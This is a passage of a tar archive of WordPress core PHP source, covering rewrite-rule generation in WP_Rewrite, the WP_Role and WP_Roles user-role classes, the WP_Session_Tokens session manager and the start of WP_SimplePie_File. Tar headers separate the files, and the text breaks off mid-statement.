$this->generate_rewrite_rules( $struct ); } /** * Filters rewrite rules used for individual permastructs. * * The dynamic portion of the hook name, `$permastructname`, refers * to the name of the registered permastruct, e.g. 'post_tag' (tags), * 'category' (categories), etc. * * @since 3.1.0 * * @param string[] $rules Array of rewrite rules generated for the current permastruct, keyed by their regex pattern. */ $rules = apply_filters( "{$permastructname}_rewrite_rules", $rules ); if ( 'post_tag' === $permastructname ) { /** * Filters rewrite rules used specifically for Tags. * * @since 2.3.0 * @deprecated 3.1.0 Use {@see 'post_tag_rewrite_rules'} instead. * * @param string[] $rules Array of rewrite rules generated for tags, keyed by their regex pattern. */ $rules = apply_filters_deprecated( 'tag_rewrite_rules', array( $rules ), '3.1.0', 'post_tag_rewrite_rules' ); } $this->extra_rules_top = array_merge( $this->extra_rules_top, $rules ); } // Put them together. if ( $this->use_verbose_page_rules ) { $this->rules = array_merge( $this->extra_rules_top, $robots_rewrite, $favicon_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite, $author_rewrite, $date_rewrite, $page_rewrite, $post_rewrite, $this->extra_rules ); } else { $this->rules = array_merge( $this->extra_rules_top, $robots_rewrite, $favicon_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite, $author_rewrite, $date_rewrite, $post_rewrite, $page_rewrite, $this->extra_rules ); } /** * Fires after the rewrite rules are generated. * * @since 1.5.0 * * @param WP_Rewrite $this Current WP_Rewrite instance (passed by reference). */ do_action_ref_array( 'generate_rewrite_rules', array( &$this ) ); /** * Filters the full set of generated rewrite rules. * * @since 1.5.0 * * @param string[] $rules The compiled array of rewrite rules, keyed by their regex pattern. */ $this->rules = apply_filters( 'rewrite_rules_array', $this->rules ); return $this->rules; } /** * Retrieves the rewrite rules. * * The difference between this method and WP_Rewrite::rewrite_rules() is that * this method stores the rewrite rules in the 'rewrite_rules' option and retrieves * it. This prevents having to process all of the permalinks to get the rewrite rules * in the form of caching. * * @since 1.5.0 * * @return string[] Array of rewrite rules keyed by their regex pattern. */ public function wp_rewrite_rules() { $this->rules = get_option( 'rewrite_rules' ); if ( empty( $this->rules ) ) { $this->matches = 'matches'; $this->rewrite_rules(); if ( ! did_action( 'wp_loaded' ) ) { add_action( 'wp_loaded', array( $this, 'flush_rules' ) ); return $this->rules; } update_option( 'rewrite_rules', $this->rules ); } return $this->rules; } /** * Retrieves mod_rewrite-formatted rewrite rules to write to .htaccess. * * Does not actually write to the .htaccess file, but creates the rules for * the process that will. * * Will add the non_wp_rules property rules to the .htaccess file before * the WordPress rewrite rules one. * * @since 1.5.0 * * @return string */ public function mod_rewrite_rules() { if ( ! $this->using_permalinks() ) { return ''; } $site_root = parse_url( site_url() ); if ( isset( $site_root['path'] ) ) { $site_root = trailingslashit( $site_root['path'] ); } $home_root = parse_url( home_url() ); if ( isset( $home_root['path'] ) ) { $home_root = trailingslashit( $home_root['path'] ); } else { $home_root = '/'; } $rules = "<IfModule mod_rewrite.c>\n"; $rules .= "RewriteEngine On\n"; $rules .= "RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]\n"; $rules .= "RewriteBase $home_root\n"; // Prevent -f checks on index.php. $rules .= "RewriteRule ^index\.php$ - [L]\n"; // Add in the rules that don't redirect to WP's index.php (and thus shouldn't be handled by WP at all). foreach ( (array) $this->non_wp_rules as $match => $query ) { // Apache 1.3 does not support the reluctant (non-greedy) modifier. $match = str_replace( '.+?', '.+', $match ); $rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n"; } if ( $this->use_verbose_rules ) { $this->matches = ''; $rewrite = $this->rewrite_rules(); $num_rules = count( $rewrite ); $rules .= "RewriteCond %{REQUEST_FILENAME} -f [OR]\n" . "RewriteCond %{REQUEST_FILENAME} -d\n" . "RewriteRule ^.*$ - [S=$num_rules]\n"; foreach ( (array) $rewrite as $match => $query ) { // Apache 1.3 does not support the reluctant (non-greedy) modifier. $match = str_replace( '.+?', '.+', $match ); if ( strpos( $query, $this->index ) !== false ) { $rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n"; } else { $rules .= 'RewriteRule ^' . $match . ' ' . $site_root . $query . " [QSA,L]\n"; } } } else { $rules .= "RewriteCond %{REQUEST_FILENAME} !-f\n" . "RewriteCond %{REQUEST_FILENAME} !-d\n" . "RewriteRule . {$home_root}{$this->index} [L]\n"; } $rules .= "</IfModule>\n"; /** * Filters the list of rewrite rules formatted for output to an .htaccess file. * * @since 1.5.0 * * @param string $rules mod_rewrite Rewrite rules formatted for .htaccess. */ $rules = apply_filters( 'mod_rewrite_rules', $rules ); /** * Filters the list of rewrite rules formatted for output to an .htaccess file. * * @since 1.5.0 * @deprecated 1.5.0 Use the {@see 'mod_rewrite_rules'} filter instead. * * @param string $rules mod_rewrite Rewrite rules formatted for .htaccess. */ return apply_filters_deprecated( 'rewrite_rules', array( $rules ), '1.5.0', 'mod_rewrite_rules' ); } /** * Retrieves IIS7 URL Rewrite formatted rewrite rules to write to web.config file. * * Does not actually write to the web.config file, but creates the rules for * the process that will. * * @since 2.8.0 * * @param bool $add_parent_tags Optional. Whether to add parent tags to the rewrite rule sets. * Default false. * @return string IIS7 URL rewrite rule sets. */ public function iis7_url_rewrite_rules( $add_parent_tags = false ) { if ( ! $this->using_permalinks() ) { return ''; } $rules = ''; if ( $add_parent_tags ) { $rules .= '<configuration> <system.webServer> <rewrite> <rules>'; } $rules .= ' <rule name="WordPress: ' . esc_attr( home_url() ) . '" patternSyntax="Wildcard"> <match url="*" /> <conditions> <add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" /> <add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" /> </conditions> <action type="Rewrite" url="index.php" /> </rule>'; if ( $add_parent_tags ) { $rules .= ' </rules> </rewrite> </system.webServer> </configuration>'; } /** * Filters the list of rewrite rules formatted for output to a web.config. * * @since 2.8.0 * * @param string $rules Rewrite rules formatted for IIS web.config. */ return apply_filters( 'iis7_url_rewrite_rules', $rules ); } /** * Adds a rewrite rule that transforms a URL structure to a set of query vars. * * Any value in the $after parameter that isn't 'bottom' will result in the rule * being placed at the top of the rewrite rules. * * @since 2.1.0 * @since 4.4.0 Array support was added to the `$query` parameter. * * @param string $regex Regular expression to match request against. * @param string|array $query The corresponding query vars for this rewrite rule. * @param string $after Optional. Priority of the new rule. Accepts 'top' * or 'bottom'. Default 'bottom'. */ public function add_rule( $regex, $query, $after = 'bottom' ) { if ( is_array( $query ) ) { $external = false; $query = add_query_arg( $query, 'index.php' ); } else { $index = false === strpos( $query, '?' ) ? strlen( $query ) : strpos( $query, '?' ); $front = substr( $query, 0, $index ); $external = $front != $this->index; } // "external" = it doesn't correspond to index.php. if ( $external ) { $this->add_external_rule( $regex, $query ); } else { if ( 'bottom' === $after ) { $this->extra_rules = array_merge( $this->extra_rules, array( $regex => $query ) ); } else { $this->extra_rules_top = array_merge( $this->extra_rules_top, array( $regex => $query ) ); } } } /** * Adds a rewrite rule that doesn't correspond to index.php. * * @since 2.1.0 * * @param string $regex Regular expression to match request against. * @param string $query The corresponding query vars for this rewrite rule. */ public function add_external_rule( $regex, $query ) { $this->non_wp_rules[ $regex ] = $query; } /** * Adds an endpoint, like /trackback/. * * @since 2.1.0 * @since 3.9.0 $query_var parameter added. * @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`. * * @see add_rewrite_endpoint() for full documentation. * @global WP $wp Current WordPress environment instance. * * @param string $name Name of the endpoint. * @param int $places Endpoint mask describing the places the endpoint should be added. * Accepts a mask of: * - `EP_ALL` * - `EP_NONE` * - `EP_ALL_ARCHIVES` * - `EP_ATTACHMENT` * - `EP_AUTHORS` * - `EP_CATEGORIES` * - `EP_COMMENTS` * - `EP_DATE` * - `EP_DAY` * - `EP_MONTH` * - `EP_PAGES` * - `EP_PERMALINK` * - `EP_ROOT` * - `EP_SEARCH` * - `EP_TAGS` * - `EP_YEAR` * @param string|bool $query_var Optional. Name of the corresponding query variable. Pass `false` to * skip registering a query_var for this endpoint. Defaults to the * value of `$name`. */ public function add_endpoint( $name, $places, $query_var = true ) { global $wp; // For backward compatibility, if null has explicitly been passed as `$query_var`, assume `true`. if ( true === $query_var || null === $query_var ) { $query_var = $name; } $this->endpoints[] = array( $places, $name, $query_var ); if ( $query_var ) { $wp->add_query_var( $query_var ); } } /** * Adds a new permalink structure. * * A permalink structure (permastruct) is an abstract definition of a set of rewrite rules; * it is an easy way of expressing a set of regular expressions that rewrite to a set of * query strings. The new permastruct is added to the WP_Rewrite::$extra_permastructs array. * * When the rewrite rules are built by WP_Rewrite::rewrite_rules(), all of these extra * permastructs are passed to WP_Rewrite::generate_rewrite_rules() which transforms them * into the regular expressions that many love to hate. * * The `$args` parameter gives you control over how WP_Rewrite::generate_rewrite_rules() * works on the new permastruct. * * @since 2.5.0 * * @param string $name Name for permalink structure. * @param string $struct Permalink structure (e.g. category/%category%) * @param array $args { * Optional. Arguments for building rewrite rules based on the permalink structure. * Default empty array. * * @type bool $with_front Whether the structure should be prepended with `WP_Rewrite::$front`. * Default true. * @type int $ep_mask The endpoint mask defining which endpoints are added to the structure. * Accepts a mask of: * - `EP_ALL` * - `EP_NONE` * - `EP_ALL_ARCHIVES` * - `EP_ATTACHMENT` * - `EP_AUTHORS` * - `EP_CATEGORIES` * - `EP_COMMENTS` * - `EP_DATE` * - `EP_DAY` * - `EP_MONTH` * - `EP_PAGES` * - `EP_PERMALINK` * - `EP_ROOT` * - `EP_SEARCH` * - `EP_TAGS` * - `EP_YEAR` * Default `EP_NONE`. * @type bool $paged Whether archive pagination rules should be added for the structure. * Default true. * @type bool $feed Whether feed rewrite rules should be added for the structure. Default true. * @type bool $forcomments Whether the feed rules should be a query for a comments feed. Default false. * @type bool $walk_dirs Whether the 'directories' making up the structure should be walked over * and rewrite rules built for each in-turn. Default true. * @type bool $endpoints Whether endpoints should be applied to the generated rules. Default true. * } */ public function add_permastruct( $name, $struct, $args = array() ) { // Back-compat for the old parameters: $with_front and $ep_mask. if ( ! is_array( $args ) ) { $args = array( 'with_front' => $args ); } if ( func_num_args() == 4 ) { $args['ep_mask'] = func_get_arg( 3 ); } $defaults = array( 'with_front' => true, 'ep_mask' => EP_NONE, 'paged' => true, 'feed' => true, 'forcomments' => false, 'walk_dirs' => true, 'endpoints' => true, ); $args = array_intersect_key( $args, $defaults ); $args = wp_parse_args( $args, $defaults ); if ( $args['with_front'] ) { $struct = $this->front . $struct; } else { $struct = $this->root . $struct; } $args['struct'] = $struct; $this->extra_permastructs[ $name ] = $args; } /** * Removes a permalink structure. * * @since 4.5.0 * * @param string $name Name for permalink structure. */ public function remove_permastruct( $name ) { unset( $this->extra_permastructs[ $name ] ); } /** * Removes rewrite rules and then recreate rewrite rules. * * Calls WP_Rewrite::wp_rewrite_rules() after removing the 'rewrite_rules' option. * If the function named 'save_mod_rewrite_rules' exists, it will be called. * * @since 2.0.1 * * @param bool $hard Whether to update .htaccess (hard flush) or just update rewrite_rules option (soft flush). Default is true (hard). */ public function flush_rules( $hard = true ) { static $do_hard_later = null; // Prevent this action from running before everyone has registered their rewrites. if ( ! did_action( 'wp_loaded' ) ) { add_action( 'wp_loaded', array( $this, 'flush_rules' ) ); $do_hard_later = ( isset( $do_hard_later ) ) ? $do_hard_later || $hard : $hard; return; } if ( isset( $do_hard_later ) ) { $hard = $do_hard_later; unset( $do_hard_later ); } update_option( 'rewrite_rules', '' ); $this->wp_rewrite_rules(); /** * Filters whether a "hard" rewrite rule flush should be performed when requested. * * A "hard" flush updates .htaccess (Apache) or web.config (IIS). * * @since 3.7.0 * * @param bool $hard Whether to flush rewrite rules "hard". Default true. */ if ( ! $hard || ! apply_filters( 'flush_rewrite_rules_hard', true ) ) { return; } if ( function_exists( 'save_mod_rewrite_rules' ) ) { save_mod_rewrite_rules(); } if ( function_exists( 'iis7_save_url_rewrite_rules' ) ) { iis7_save_url_rewrite_rules(); } } /** * Sets up the object's properties. * * The 'use_verbose_page_rules' object property will be set to true if the * permalink structure begins with one of the following: '%postname%', '%category%', * '%tag%', or '%author%'. * * @since 1.5.0 */ public function init() { $this->extra_rules = array(); $this->non_wp_rules = array(); $this->endpoints = array(); $this->permalink_structure = get_option( 'permalink_structure' ); $this->front = substr( $this->permalink_structure, 0, strpos( $this->permalink_structure, '%' ) ); $this->root = ''; if ( $this->using_index_permalinks() ) { $this->root = $this->index . '/'; } unset( $this->author_structure ); unset( $this->date_structure ); unset( $this->page_structure ); unset( $this->search_structure ); unset( $this->feed_structure ); unset( $this->comment_feed_structure ); $this->use_trailing_slashes = ( '/' === substr( $this->permalink_structure, -1, 1 ) ); // Enable generic rules for pages if permalink structure doesn't begin with a wildcard. if ( preg_match( '/^[^%]*%(?:postname|category|tag|author)%/', $this->permalink_structure ) ) { $this->use_verbose_page_rules = true; } else { $this->use_verbose_page_rules = false; } } /** * Sets the main permalink structure for the site. * * Will update the 'permalink_structure' option, if there is a difference * between the current permalink structure and the parameter value. Calls * WP_Rewrite::init() after the option is updated. * * Fires the {@see 'permalink_structure_changed'} action once the init call has * processed passing the old and new values * * @since 1.5.0 * * @param string $permalink_structure Permalink structure. */ public function set_permalink_structure( $permalink_structure ) { if ( $permalink_structure != $this->permalink_structure ) { $old_permalink_structure = $this->permalink_structure; update_option( 'permalink_structure', $permalink_structure ); $this->init(); /** * Fires after the permalink structure is updated. * * @since 2.8.0 * * @param string $old_permalink_structure The previous permalink structure. * @param string $permalink_structure The new permalink structure. */ do_action( 'permalink_structure_changed', $old_permalink_structure, $permalink_structure ); } } /** * Sets the category base for the category permalink. * * Will update the 'category_base' option, if there is a difference between * the current category base and the parameter value. Calls WP_Rewrite::init() * after the option is updated. * * @since 1.5.0 * * @param string $category_base Category permalink structure base. */ public function set_category_base( $category_base ) { if ( get_option( 'category_base' ) !== $category_base ) { update_option( 'category_base', $category_base ); $this->init(); } } /** * Sets the tag base for the tag permalink. * * Will update the 'tag_base' option, if there is a difference between the * current tag base and the parameter value. Calls WP_Rewrite::init() after * the option is updated. * * @since 2.3.0 * * @param string $tag_base Tag permalink structure base. */ public function set_tag_base( $tag_base ) { if ( get_option( 'tag_base' ) !== $tag_base ) { update_option( 'tag_base', $tag_base ); $this->init(); } } /** * Constructor - Calls init(), which runs setup. * * @since 1.5.0 */ public function __construct() { $this->init(); } } ���������������������������������������������������������������������������������������������������������������������������������class-wp-role.php�����������������������������������������������������������������������������������0000644�����������������00000004702�15120262030�0007737 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * User API: WP_Role class * * @package WordPress * @subpackage Users * @since 4.4.0 */ /** * Core class used to extend the user roles API. * * @since 2.0.0 */ class WP_Role { /** * Role name. * * @since 2.0.0 * @var string */ public $name; /** * List of capabilities the role contains. * * @since 2.0.0 * @var bool[] Array of key/value pairs where keys represent a capability name and boolean values * represent whether the role has that capability. */ public $capabilities; /** * Constructor - Set up object properties. * * The list of capabilities must have the key as the name of the capability * and the value a boolean of whether it is granted to the role. * * @since 2.0.0 * * @param string $role Role name. * @param bool[] $capabilities Array of key/value pairs where keys represent a capability name and boolean values * represent whether the role has that capability. */ public function __construct( $role, $capabilities ) { $this->name = $role; $this->capabilities = $capabilities; } /** * Assign role a capability. * * @since 2.0.0 * * @param string $cap Capability name. * @param bool $grant Whether role has capability privilege. */ public function add_cap( $cap, $grant = true ) { $this->capabilities[ $cap ] = $grant; wp_roles()->add_cap( $this->name, $cap, $grant ); } /** * Removes a capability from a role. * * @since 2.0.0 * * @param string $cap Capability name. */ public function remove_cap( $cap ) { unset( $this->capabilities[ $cap ] ); wp_roles()->remove_cap( $this->name, $cap ); } /** * Determines whether the role has the given capability. * * @since 2.0.0 * * @param string $cap Capability name. * @return bool Whether the role has the given capability. */ public function has_cap( $cap ) { /** * Filters which capabilities a role has. * * @since 2.0.0 * * @param bool[] $capabilities Array of key/value pairs where keys represent a capability name and boolean values * represent whether the role has that capability. * @param string $cap Capability name. * @param string $name Role name. */ $capabilities = apply_filters( 'role_has_cap', $this->capabilities, $cap, $this->name ); if ( ! empty( $capabilities[ $cap ] ) ) { return $capabilities[ $cap ]; } else { return false; } } } ��������������������������������������������������������������class-wp-roles.php����������������������������������������������������������������������������������0000644�����������������00000020356�15120262030�0010125 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * User API: WP_Roles class * * @package WordPress * @subpackage Users * @since 4.4.0 */ /** * Core class used to implement a user roles API. * * The role option is simple, the structure is organized by role name that store * the name in value of the 'name' key. The capabilities are stored as an array * in the value of the 'capability' key. * * array ( * 'rolename' => array ( * 'name' => 'rolename', * 'capabilities' => array() * ) * ) * * @since 2.0.0 */ class WP_Roles { /** * List of roles and capabilities. * * @since 2.0.0 * @var array[] */ public $roles; /** * List of the role objects. * * @since 2.0.0 * @var WP_Role[] */ public $role_objects = array(); /** * List of role names. * * @since 2.0.0 * @var string[] */ public $role_names = array(); /** * Option name for storing role list. * * @since 2.0.0 * @var string */ public $role_key; /** * Whether to use the database for retrieval and storage. * * @since 2.1.0 * @var bool */ public $use_db = true; /** * The site ID the roles are initialized for. * * @since 4.9.0 * @var int */ protected $site_id = 0; /** * Constructor * * @since 2.0.0 * @since 4.9.0 The `$site_id` argument was added. * * @global array $wp_user_roles Used to set the 'roles' property value. * * @param int $site_id Site ID to initialize roles for. Default is the current site. */ public function __construct( $site_id = null ) { global $wp_user_roles; $this->use_db = empty( $wp_user_roles ); $this->for_site( $site_id ); } /** * Make private/protected methods readable for backward compatibility. * * @since 4.0.0 * * @param string $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed|false Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { if ( '_init' === $name ) { return $this->_init( ...$arguments ); } return false; } /** * Set up the object properties. * * The role key is set to the current prefix for the $wpdb object with * 'user_roles' appended. If the $wp_user_roles global is set, then it will * be used and the role option will not be updated or used. * * @since 2.1.0 * @deprecated 4.9.0 Use WP_Roles::for_site() */ protected function _init() { _deprecated_function( __METHOD__, '4.9.0', 'WP_Roles::for_site()' ); $this->for_site(); } /** * Reinitialize the object * * Recreates the role objects. This is typically called only by switch_to_blog() * after switching wpdb to a new site ID. * * @since 3.5.0 * @deprecated 4.7.0 Use WP_Roles::for_site() */ public function reinit() { _deprecated_function( __METHOD__, '4.7.0', 'WP_Roles::for_site()' ); $this->for_site(); } /** * Add role name with capabilities to list. * * Updates the list of roles, if the role doesn't already exist. * * The capabilities are defined in the following format `array( 'read' => true );` * To explicitly deny a role a capability you set the value for that capability to false. * * @since 2.0.0 * * @param string $role Role name. * @param string $display_name Role display name. * @param bool[] $capabilities List of capabilities keyed by the capability name, * e.g. array( 'edit_posts' => true, 'delete_posts' => false ). * @return WP_Role|void WP_Role object, if role is added. */ public function add_role( $role, $display_name, $capabilities = array() ) { if ( empty( $role ) || isset( $this->roles[ $role ] ) ) { return; } $this->roles[ $role ] = array( 'name' => $display_name, 'capabilities' => $capabilities, ); if ( $this->use_db ) { update_option( $this->role_key, $this->roles ); } $this->role_objects[ $role ] = new WP_Role( $role, $capabilities ); $this->role_names[ $role ] = $display_name; return $this->role_objects[ $role ]; } /** * Remove role by name. * * @since 2.0.0 * * @param string $role Role name. */ public function remove_role( $role ) { if ( ! isset( $this->role_objects[ $role ] ) ) { return; } unset( $this->role_objects[ $role ] ); unset( $this->role_names[ $role ] ); unset( $this->roles[ $role ] ); if ( $this->use_db ) { update_option( $this->role_key, $this->roles ); } if ( get_option( 'default_role' ) == $role ) { update_option( 'default_role', 'subscriber' ); } } /** * Add capability to role. * * @since 2.0.0 * * @param string $role Role name. * @param string $cap Capability name. * @param bool $grant Optional. Whether role is capable of performing capability. * Default true. */ public function add_cap( $role, $cap, $grant = true ) { if ( ! isset( $this->roles[ $role ] ) ) { return; } $this->roles[ $role ]['capabilities'][ $cap ] = $grant; if ( $this->use_db ) { update_option( $this->role_key, $this->roles ); } } /** * Remove capability from role. * * @since 2.0.0 * * @param string $role Role name. * @param string $cap Capability name. */ public function remove_cap( $role, $cap ) { if ( ! isset( $this->roles[ $role ] ) ) { return; } unset( $this->roles[ $role ]['capabilities'][ $cap ] ); if ( $this->use_db ) { update_option( $this->role_key, $this->roles ); } } /** * Retrieve role object by name. * * @since 2.0.0 * * @param string $role Role name. * @return WP_Role|null WP_Role object if found, null if the role does not exist. */ public function get_role( $role ) { if ( isset( $this->role_objects[ $role ] ) ) { return $this->role_objects[ $role ]; } else { return null; } } /** * Retrieve list of role names. * * @since 2.0.0 * * @return string[] List of role names. */ public function get_names() { return $this->role_names; } /** * Whether role name is currently in the list of available roles. * * @since 2.0.0 * * @param string $role Role name to look up. * @return bool */ public function is_role( $role ) { return isset( $this->role_names[ $role ] ); } /** * Initializes all of the available roles. * * @since 4.9.0 */ public function init_roles() { if ( empty( $this->roles ) ) { return; } $this->role_objects = array(); $this->role_names = array(); foreach ( array_keys( $this->roles ) as $role ) { $this->role_objects[ $role ] = new WP_Role( $role, $this->roles[ $role ]['capabilities'] ); $this->role_names[ $role ] = $this->roles[ $role ]['name']; } /** * After the roles have been initialized, allow plugins to add their own roles. * * @since 4.7.0 * * @param WP_Roles $this A reference to the WP_Roles object. */ do_action( 'wp_roles_init', $this ); } /** * Sets the site to operate on. Defaults to the current site. * * @since 4.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $site_id Site ID to initialize roles for. Default is the current site. */ public function for_site( $site_id = null ) { global $wpdb; if ( ! empty( $site_id ) ) { $this->site_id = absint( $site_id ); } else { $this->site_id = get_current_blog_id(); } $this->role_key = $wpdb->get_blog_prefix( $this->site_id ) . 'user_roles'; if ( ! empty( $this->roles ) && ! $this->use_db ) { return; } $this->roles = $this->get_roles_data(); $this->init_roles(); } /** * Gets the ID of the site for which roles are currently initialized. * * @since 4.9.0 * * @return int Site ID. */ public function get_site_id() { return $this->site_id; } /** * Gets the available roles data. * * @since 4.9.0 * * @global array $wp_user_roles Used to set the 'roles' property value. * * @return array Roles array. */ protected function get_roles_data() { global $wp_user_roles; if ( ! empty( $wp_user_roles ) ) { return $wp_user_roles; } if ( is_multisite() && get_current_blog_id() != $this->site_id ) { remove_action( 'switch_blog', 'wp_switch_roles_and_user', 1 ); $roles = get_blog_option( $this->site_id, $this->role_key, array() ); add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 ); return $roles; } return get_option( $this->role_key, array() ); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-session-tokens.php�������������������������������������������������������������������������0000644�����������������00000016401�15120262030�0011761 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Session API: WP_Session_Tokens class * * @package WordPress * @subpackage Session * @since 4.7.0 */ /** * Abstract class for managing user session tokens. * * @since 4.0.0 */ abstract class WP_Session_Tokens { /** * User ID. * * @since 4.0.0 * @var int User ID. */ protected $user_id; /** * Protected constructor. Use the `get_instance()` method to get the instance. * * @since 4.0.0 * * @param int $user_id User whose session to manage. */ protected function __construct( $user_id ) { $this->user_id = $user_id; } /** * Retrieves a session manager instance for a user. * * This method contains a {@see 'session_token_manager'} filter, allowing a plugin to swap out * the session manager for a subclass of `WP_Session_Tokens`. * * @since 4.0.0 * * @param int $user_id User whose session to manage. * @return WP_Session_Tokens The session object, which is by default an instance of * the `WP_User_Meta_Session_Tokens` class. */ final public static function get_instance( $user_id ) { /** * Filters the class name for the session token manager. * * @since 4.0.0 * * @param string $session Name of class to use as the manager. * Default 'WP_User_Meta_Session_Tokens'. */ $manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' ); return new $manager( $user_id ); } /** * Hashes the given session token for storage. * * @since 4.0.0 * * @param string $token Session token to hash. * @return string A hash of the session token (a verifier). */ private function hash_token( $token ) { // If ext/hash is not present, use sha1() instead. if ( function_exists( 'hash' ) ) { return hash( 'sha256', $token ); } else { return sha1( $token ); } } /** * Retrieves a user's session for the given token. * * @since 4.0.0 * * @param string $token Session token. * @return array|null The session, or null if it does not exist. */ final public function get( $token ) { $verifier = $this->hash_token( $token ); return $this->get_session( $verifier ); } /** * Validates the given session token for authenticity and validity. * * Checks that the given token is present and hasn't expired. * * @since 4.0.0 * * @param string $token Token to verify. * @return bool Whether the token is valid for the user. */ final public function verify( $token ) { $verifier = $this->hash_token( $token ); return (bool) $this->get_session( $verifier ); } /** * Generates a session token and attaches session information to it. * * A session token is a long, random string. It is used in a cookie * to link that cookie to an expiration time and to ensure the cookie * becomes invalidated when the user logs out. * * This function generates a token and stores it with the associated * expiration time (and potentially other session information via the * {@see 'attach_session_information'} filter). * * @since 4.0.0 * * @param int $expiration Session expiration timestamp. * @return string Session token. */ final public function create( $expiration ) { /** * Filters the information attached to the newly created session. * * Can be used to attach further information to a session. * * @since 4.0.0 * * @param array $session Array of extra data. * @param int $user_id User ID. */ $session = apply_filters( 'attach_session_information', array(), $this->user_id ); $session['expiration'] = $expiration; // IP address. if ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) { $session['ip'] = $_SERVER['REMOTE_ADDR']; } // User-agent. if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) { $session['ua'] = wp_unslash( $_SERVER['HTTP_USER_AGENT'] ); } // Timestamp. $session['login'] = time(); $token = wp_generate_password( 43, false, false ); $this->update( $token, $session ); return $token; } /** * Updates the data for the session with the given token. * * @since 4.0.0 * * @param string $token Session token to update. * @param array $session Session information. */ final public function update( $token, $session ) { $verifier = $this->hash_token( $token ); $this->update_session( $verifier, $session ); } /** * Destroys the session with the given token. * * @since 4.0.0 * * @param string $token Session token to destroy. */ final public function destroy( $token ) { $verifier = $this->hash_token( $token ); $this->update_session( $verifier, null ); } /** * Destroys all sessions for this user except the one with the given token (presumably the one in use). * * @since 4.0.0 * * @param string $token_to_keep Session token to keep. */ final public function destroy_others( $token_to_keep ) { $verifier = $this->hash_token( $token_to_keep ); $session = $this->get_session( $verifier ); if ( $session ) { $this->destroy_other_sessions( $verifier ); } else { $this->destroy_all_sessions(); } } /** * Determines whether a session is still valid, based on its expiration timestamp. * * @since 4.0.0 * * @param array $session Session to check. * @return bool Whether session is valid. */ final protected function is_still_valid( $session ) { return $session['expiration'] >= time(); } /** * Destroys all sessions for a user. * * @since 4.0.0 */ final public function destroy_all() { $this->destroy_all_sessions(); } /** * Destroys all sessions for all users. * * @since 4.0.0 */ final public static function destroy_all_for_all_users() { /** This filter is documented in wp-includes/class-wp-session-tokens.php */ $manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' ); call_user_func( array( $manager, 'drop_sessions' ) ); } /** * Retrieves all sessions for a user. * * @since 4.0.0 * * @return array Sessions for a user. */ final public function get_all() { return array_values( $this->get_sessions() ); } /** * Retrieves all sessions of the user. * * @since 4.0.0 * * @return array Sessions of the user. */ abstract protected function get_sessions(); /** * Retrieves a session based on its verifier (token hash). * * @since 4.0.0 * * @param string $verifier Verifier for the session to retrieve. * @return array|null The session, or null if it does not exist. */ abstract protected function get_session( $verifier ); /** * Updates a session based on its verifier (token hash). * * Omitting the second argument destroys the session. * * @since 4.0.0 * * @param string $verifier Verifier for the session to update. * @param array $session Optional. Session. Omitting this argument destroys the session. */ abstract protected function update_session( $verifier, $session = null ); /** * Destroys all sessions for this user, except the single session with the given verifier. * * @since 4.0.0 * * @param string $verifier Verifier of the session to keep. */ abstract protected function destroy_other_sessions( $verifier ); /** * Destroys all sessions for the user. * * @since 4.0.0 */ abstract protected function destroy_all_sessions(); /** * Destroys all sessions for all users. * * @since 4.0.0 */ public static function drop_sessions() {} } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-simplepie-file.php�������������������������������������������������������������������������0000644�����������������00000006273�15120262030�0011707 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Feed API: WP_SimplePie_File class * * @package WordPress * @subpackage Feed * @since 4.7.0 */ /** * Core class for fetching remote files and reading local files with SimplePie. * * This uses Core's HTTP API to make requests, which gives plugins the ability * to hook into the process. * * @since 2.8.0 * * @see SimplePie_File */ class WP_SimplePie_File extends SimplePie_File { /** * Constructor. * * @since 2.8.0 * @since 3.2.0 Updated to use a PHP5 constructor. * @since 5.6.1 Multiple headers are concatenated into a comma-separated string, rather than remaining * an array. * * @param string $url Remote file URL. * @param int $timeout Optional. How long the connection should stay open in seconds. * Default 10. * @param int $redirects Optional. The number of allowed redirects. Default 5. * @param string|array $headers Optional. Array or string of headers to send with the request. * Default null. * @param string $useragent Optional. User-agent value sent. Default null. * @param bool $force_fsockopen Optional. Whether to force opening internet or unix domain socket * connection or not. Default false. */ public function __construct( $url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false ) { $this->url = $url; $this->timeout = $timeout; $this->redirects = $redirects; $this->headers = $headers; $this->useragent = $useragent; $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE; if ( preg_match( '/^http(s)?:\/\//i', $url ) ) { $args = array( 'timeout' => $this->timeout, 'redirection' => $this->redirects, ); if ( ! empty( $this->headers ) ) { $args['headers'] = $this->headers; } if ( SIMPLEPIE_USERAGENT != $this->useragent ) { // Use default WP user agent unless custom has been specified. $args['user-agent'] = $this->useragent; } $res = wp_safe_remote_request( $url, $args ); if ( is_wp_error( $res ) ) { $this->error = 'WP HTTP Error: ' . $res->get_error_message(); $this->success = false; } else { $this->headers = 